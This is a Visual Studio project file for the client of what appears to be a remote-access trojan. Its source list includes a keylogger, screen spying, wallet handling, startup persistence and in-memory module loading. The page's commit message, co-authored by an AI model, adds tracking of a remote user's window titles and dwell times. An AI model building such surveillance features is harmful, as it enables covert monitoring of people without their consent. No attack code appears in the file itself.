Record the client's active-window history (start time, window title, and dwell duration), newest first, skipping dwellings under 5 seconds and breaking the timing on idle, capped at 500 entries. Add an "Activity History" item inside the host's Client Management submenu that requests the snapshot over the main connection and shows it in a new dialog. The dialog rebuilds its edit control as a Unicode window so UTF-8 titles render correctly instead of degrading to "?" through the MBCS ANSI boundary. The menu item and dialog title go through _TR and are localized in en_US and zh_TW. Co-Authored-By: deepseek-v4-pro
304 lines
16 KiB
XML
304 lines
16 KiB
XML
<?xml version="1.0" encoding="utf-8"?>
|
|
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
|
<ItemGroup Label="ProjectConfigurations">
|
|
<ProjectConfiguration Include="Debug|Win32">
|
|
<Configuration>Debug</Configuration>
|
|
<Platform>Win32</Platform>
|
|
</ProjectConfiguration>
|
|
<ProjectConfiguration Include="Debug|x64">
|
|
<Configuration>Debug</Configuration>
|
|
<Platform>x64</Platform>
|
|
</ProjectConfiguration>
|
|
<ProjectConfiguration Include="Release|Win32">
|
|
<Configuration>Release</Configuration>
|
|
<Platform>Win32</Platform>
|
|
</ProjectConfiguration>
|
|
<ProjectConfiguration Include="Release|x64">
|
|
<Configuration>Release</Configuration>
|
|
<Platform>x64</Platform>
|
|
</ProjectConfiguration>
|
|
</ItemGroup>
|
|
<PropertyGroup Label="Globals">
|
|
<ProjectGuid>{3F756E52-23C2-4EE4-A184-37CF788D50A7}</ProjectGuid>
|
|
<RootNamespace>ClientDll</RootNamespace>
|
|
<ProjectName>ghost</ProjectName>
|
|
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
|
</PropertyGroup>
|
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
|
<ConfigurationType>Application</ConfigurationType>
|
|
<UseDebugLibraries>true</UseDebugLibraries>
|
|
<PlatformToolset>v142</PlatformToolset>
|
|
<CharacterSet>MultiByte</CharacterSet>
|
|
<UseOfMfc>false</UseOfMfc>
|
|
</PropertyGroup>
|
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
|
<ConfigurationType>Application</ConfigurationType>
|
|
<UseDebugLibraries>true</UseDebugLibraries>
|
|
<PlatformToolset>v142</PlatformToolset>
|
|
<CharacterSet>MultiByte</CharacterSet>
|
|
<UseOfMfc>false</UseOfMfc>
|
|
</PropertyGroup>
|
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
|
<ConfigurationType>Application</ConfigurationType>
|
|
<UseDebugLibraries>false</UseDebugLibraries>
|
|
<PlatformToolset>v142</PlatformToolset>
|
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
|
<CharacterSet>MultiByte</CharacterSet>
|
|
</PropertyGroup>
|
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
|
<ConfigurationType>Application</ConfigurationType>
|
|
<UseDebugLibraries>false</UseDebugLibraries>
|
|
<PlatformToolset>v142</PlatformToolset>
|
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
|
<CharacterSet>MultiByte</CharacterSet>
|
|
</PropertyGroup>
|
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
|
<ImportGroup Label="ExtensionSettings">
|
|
</ImportGroup>
|
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
|
</ImportGroup>
|
|
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
|
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
|
</ImportGroup>
|
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
|
</ImportGroup>
|
|
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
|
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
|
</ImportGroup>
|
|
<PropertyGroup Label="UserMacros" />
|
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
|
<IntDir>$(Configuration)\ghost</IntDir>
|
|
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(ProjectDir)proxy;$(SolutionDir)common;$(SolutionDir)compress;$(SolutionDir)compress\ffmpeg</IncludePath>
|
|
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(SolutionDir)lib;$(LibraryPath)</LibraryPath>
|
|
</PropertyGroup>
|
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
|
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(ProjectDir)proxy;$(SolutionDir)common;$(SolutionDir)compress;$(SolutionDir)compress\ffmpeg</IncludePath>
|
|
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(SolutionDir)lib;$(LibraryPath)</LibraryPath>
|
|
<IntDir>$(Platform)\$(Configuration)\ghost</IntDir>
|
|
</PropertyGroup>
|
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
|
<IntDir>$(Configuration)\ghost</IntDir>
|
|
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(ProjectDir)proxy;$(SolutionDir)common;$(SolutionDir)compress;$(SolutionDir)compress\ffmpeg</IncludePath>
|
|
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(SolutionDir)lib;$(LibraryPath)</LibraryPath>
|
|
</PropertyGroup>
|
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
|
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(ProjectDir)proxy;$(SolutionDir)common;$(SolutionDir)compress;$(SolutionDir)compress\ffmpeg</IncludePath>
|
|
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(SolutionDir)lib;$(LibraryPath)</LibraryPath>
|
|
<IntDir>$(Platform)\$(Configuration)\ghost</IntDir>
|
|
</PropertyGroup>
|
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
|
<ClCompile>
|
|
<WarningLevel>Level3</WarningLevel>
|
|
<Optimization>Disabled</Optimization>
|
|
<AdditionalIncludeDirectories>$(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
|
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
|
<PreprocessorDefinitions>_CONSOLE;ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
|
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
|
<MinimalRebuild>false</MinimalRebuild>
|
|
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
|
</ClCompile>
|
|
<Link>
|
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
|
<AdditionalDependencies>zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
|
<IgnoreSpecificDefaultLibraries>libcmt.lib;msvcrt.lib</IgnoreSpecificDefaultLibraries>
|
|
<EntryPointSymbol>
|
|
</EntryPointSymbol>
|
|
<SubSystem>Console</SubSystem>
|
|
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
|
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin</AdditionalLibraryDirectories>
|
|
</Link>
|
|
</ItemDefinitionGroup>
|
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
|
<ClCompile>
|
|
<WarningLevel>Level3</WarningLevel>
|
|
<Optimization>Disabled</Optimization>
|
|
<AdditionalIncludeDirectories>$(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
|
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
|
<PreprocessorDefinitions>_CONSOLE;ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
|
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
|
<MinimalRebuild>false</MinimalRebuild>
|
|
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
|
</ClCompile>
|
|
<Link>
|
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
|
<AdditionalDependencies>zlib\zlib_x64.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
|
<IgnoreSpecificDefaultLibraries>libcmt.lib</IgnoreSpecificDefaultLibraries>
|
|
<EntryPointSymbol>
|
|
</EntryPointSymbol>
|
|
<SubSystem>Console</SubSystem>
|
|
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
|
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin;$(SolutionDir)..\ffmpeg-7.1\install-win64\lib</AdditionalLibraryDirectories>
|
|
</Link>
|
|
</ItemDefinitionGroup>
|
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
|
<ClCompile>
|
|
<WarningLevel>Level3</WarningLevel>
|
|
<Optimization>MinSpace</Optimization>
|
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
|
<AdditionalIncludeDirectories>$(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
|
<PreprocessorDefinitions>_CONSOLE;ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
|
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
|
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
|
</ClCompile>
|
|
<Link>
|
|
<GenerateDebugInformation>false</GenerateDebugInformation>
|
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
|
<OptimizeReferences>true</OptimizeReferences>
|
|
<AdditionalDependencies>zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
|
<AdditionalOptions> /SAFESEH:NO /ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
|
<SubSystem>Windows</SubSystem>
|
|
<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
|
|
<IgnoreSpecificDefaultLibraries>msvcrt.lib</IgnoreSpecificDefaultLibraries>
|
|
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin</AdditionalLibraryDirectories>
|
|
</Link>
|
|
</ItemDefinitionGroup>
|
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
|
<ClCompile>
|
|
<WarningLevel>Level3</WarningLevel>
|
|
<Optimization>MinSpace</Optimization>
|
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
|
<AdditionalIncludeDirectories>$(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
|
<PreprocessorDefinitions>_CONSOLE;ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
|
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
|
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
|
</ClCompile>
|
|
<Link>
|
|
<GenerateDebugInformation>false</GenerateDebugInformation>
|
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
|
<OptimizeReferences>true</OptimizeReferences>
|
|
<AdditionalDependencies>zlib\zlib_x64.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
|
<AdditionalOptions> /SAFESEH:NO /ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
|
<SubSystem>Windows</SubSystem>
|
|
<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
|
|
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin;$(SolutionDir)..\ffmpeg-7.1\install-win64\lib</AdditionalLibraryDirectories>
|
|
</Link>
|
|
</ItemDefinitionGroup>
|
|
<ItemGroup>
|
|
<ClCompile Include="..\common\file_upload.cpp" />
|
|
<ClCompile Include="..\common\ikcp.c" />
|
|
<ClCompile Include="..\common\zstd_wrapper.c" />
|
|
<ClCompile Include="..\server\2015Remote\pwd_gen.cpp" />
|
|
<ClCompile Include="ActivityHistory.cpp" />
|
|
<ClCompile Include="Audio.cpp" />
|
|
<ClCompile Include="AudioManager.cpp" />
|
|
<ClCompile Include="Buffer.cpp" />
|
|
<ClCompile Include="CaptureVideo.cpp" />
|
|
<ClCompile Include="clang_rt_compat.c" />
|
|
<ClCompile Include="ClientDll.cpp" />
|
|
<ClCompile Include="Common.cpp" />
|
|
<ClCompile Include="FileManager.cpp" />
|
|
<ClCompile Include="IOCPClient.cpp" />
|
|
<ClCompile Include="IOCPKCPClient.cpp" />
|
|
<ClCompile Include="IOCPUDPClient.cpp" />
|
|
<ClCompile Include="KernelManager.cpp" />
|
|
<ClCompile Include="KeyboardManager.cpp" />
|
|
<ClCompile Include="keylogger.cpp" />
|
|
<ClCompile Include="Loader.cpp" />
|
|
<ClCompile Include="LoginServer.cpp" />
|
|
<ClCompile Include="ClientLogManager.cpp" />
|
|
<ClCompile Include="Manager.cpp" />
|
|
<ClCompile Include="MemoryModule.c" />
|
|
<ClCompile Include="proxy\ProxyManager.cpp" />
|
|
<ClCompile Include="RegisterManager.cpp" />
|
|
<ClCompile Include="RegisterOperation.cpp" />
|
|
<ClCompile Include="reg_startup.c" />
|
|
<ClCompile Include="SafeThread.cpp" />
|
|
<ClCompile Include="ScreenManager.cpp" />
|
|
<ClCompile Include="ScreenPreview.cpp" />
|
|
<ClCompile Include="ScreenSpy.cpp" />
|
|
<ClCompile Include="ServicesManager.cpp" />
|
|
<ClCompile Include="ServiceWrapper.c" />
|
|
<ClCompile Include="session.cpp" />
|
|
<ClCompile Include="SessionMonitor.c" />
|
|
<ClCompile Include="ShellManager.cpp" />
|
|
<ClCompile Include="ConPTYManager.cpp" />
|
|
<ClCompile Include="StdAfx.cpp" />
|
|
<ClCompile Include="SystemManager.cpp" />
|
|
<ClCompile Include="CFFmpegAV1Encoder.cpp" />
|
|
<ClCompile Include="CFFmpegH264Encoder.cpp" />
|
|
<ClCompile Include="EncoderFactory.cpp" />
|
|
<ClCompile Include="TalkManager.cpp" />
|
|
<ClCompile Include="VideoManager.cpp" />
|
|
<ClCompile Include="X264Encoder.cpp" />
|
|
</ItemGroup>
|
|
<ItemGroup>
|
|
<ClInclude Include="..\common\file_upload.h" />
|
|
<ClInclude Include="..\common\ikcp.h" />
|
|
<ClInclude Include="..\common\mask.h" />
|
|
<ClInclude Include="..\common\wallet.h" />
|
|
<ClInclude Include="..\common\zstd_wrapper.h" />
|
|
<ClInclude Include="..\server\2015Remote\pwd_gen.h" />
|
|
<ClInclude Include="ActivityHistory.h" />
|
|
<ClInclude Include="Audio.h" />
|
|
<ClInclude Include="AudioManager.h" />
|
|
<ClInclude Include="auto_start.h" />
|
|
<ClInclude Include="Buffer.h" />
|
|
<ClInclude Include="CaptureVideo.h" />
|
|
<ClInclude Include="ClientApp.h" />
|
|
<ClInclude Include="clip.h" />
|
|
<ClInclude Include="Common.h" />
|
|
<ClInclude Include="CursorInfo.h" />
|
|
<ClInclude Include="domain_pool.h" />
|
|
<ClInclude Include="FileManager.h" />
|
|
<ClInclude Include="IOCPClient.h" />
|
|
<ClInclude Include="IOCPKCPClient.h" />
|
|
<ClInclude Include="IOCPUDPClient.h" />
|
|
<ClInclude Include="KernelManager.h" />
|
|
<ClInclude Include="KeyboardManager.h" />
|
|
<ClInclude Include="keylogger.h" />
|
|
<ClInclude Include="LoginServer.h" />
|
|
<ClInclude Include="Manager.h" />
|
|
<ClInclude Include="ClientLogManager.h" />
|
|
<ClInclude Include="MemoryModule.h" />
|
|
<ClInclude Include="my_clip.h" />
|
|
<ClInclude Include="proxy\ProxyManager.h" />
|
|
<ClInclude Include="RegisterManager.h" />
|
|
<ClInclude Include="RegisterOperation.h" />
|
|
<ClInclude Include="reg_startup.h" />
|
|
<ClInclude Include="resource.h" />
|
|
<ClInclude Include="SafeThread.h" />
|
|
<ClInclude Include="ScreenCapturerDXGI.h" />
|
|
<ClInclude Include="ScreenManager.h" />
|
|
<ClInclude Include="ScreenPreview.h" />
|
|
<ClInclude Include="ScreenSpy.h" />
|
|
<ClInclude Include="ServicesManager.h" />
|
|
<ClInclude Include="ServiceWrapper.h" />
|
|
<ClInclude Include="session.h" />
|
|
<ClInclude Include="SessionMonitor.h" />
|
|
<ClInclude Include="ShellManager.h" />
|
|
<ClInclude Include="ConPTYManager.h" />
|
|
<ClInclude Include="StdAfx.h" />
|
|
<ClInclude Include="CFFmpegAV1Encoder.h" />
|
|
<ClInclude Include="CFFmpegH264Encoder.h" />
|
|
<ClInclude Include="EncoderFactory.h" />
|
|
<ClInclude Include="SystemManager.h" />
|
|
<ClInclude Include="VideoEncoderBase.h" />
|
|
<ClInclude Include="TalkManager.h" />
|
|
<ClInclude Include="VideoCodec.h" />
|
|
<ClInclude Include="VideoManager.h" />
|
|
<ClInclude Include="X264Encoder.h" />
|
|
</ItemGroup>
|
|
<ItemGroup>
|
|
<ResourceCompile Include="Script.rc" />
|
|
</ItemGroup>
|
|
<ItemGroup>
|
|
<None Include="ExportFunTable.def" />
|
|
</ItemGroup>
|
|
<ItemGroup>
|
|
<Media Include="Res\msg.wav" />
|
|
</ItemGroup>
|
|
<ItemGroup>
|
|
<Image Include="Res\ghost.ico" />
|
|
<Image Include="Res\msg.ico" />
|
|
</ItemGroup>
|
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
|
<ImportGroup Label="ExtensionTargets">
|
|
</ImportGroup>
|
|
</Project> |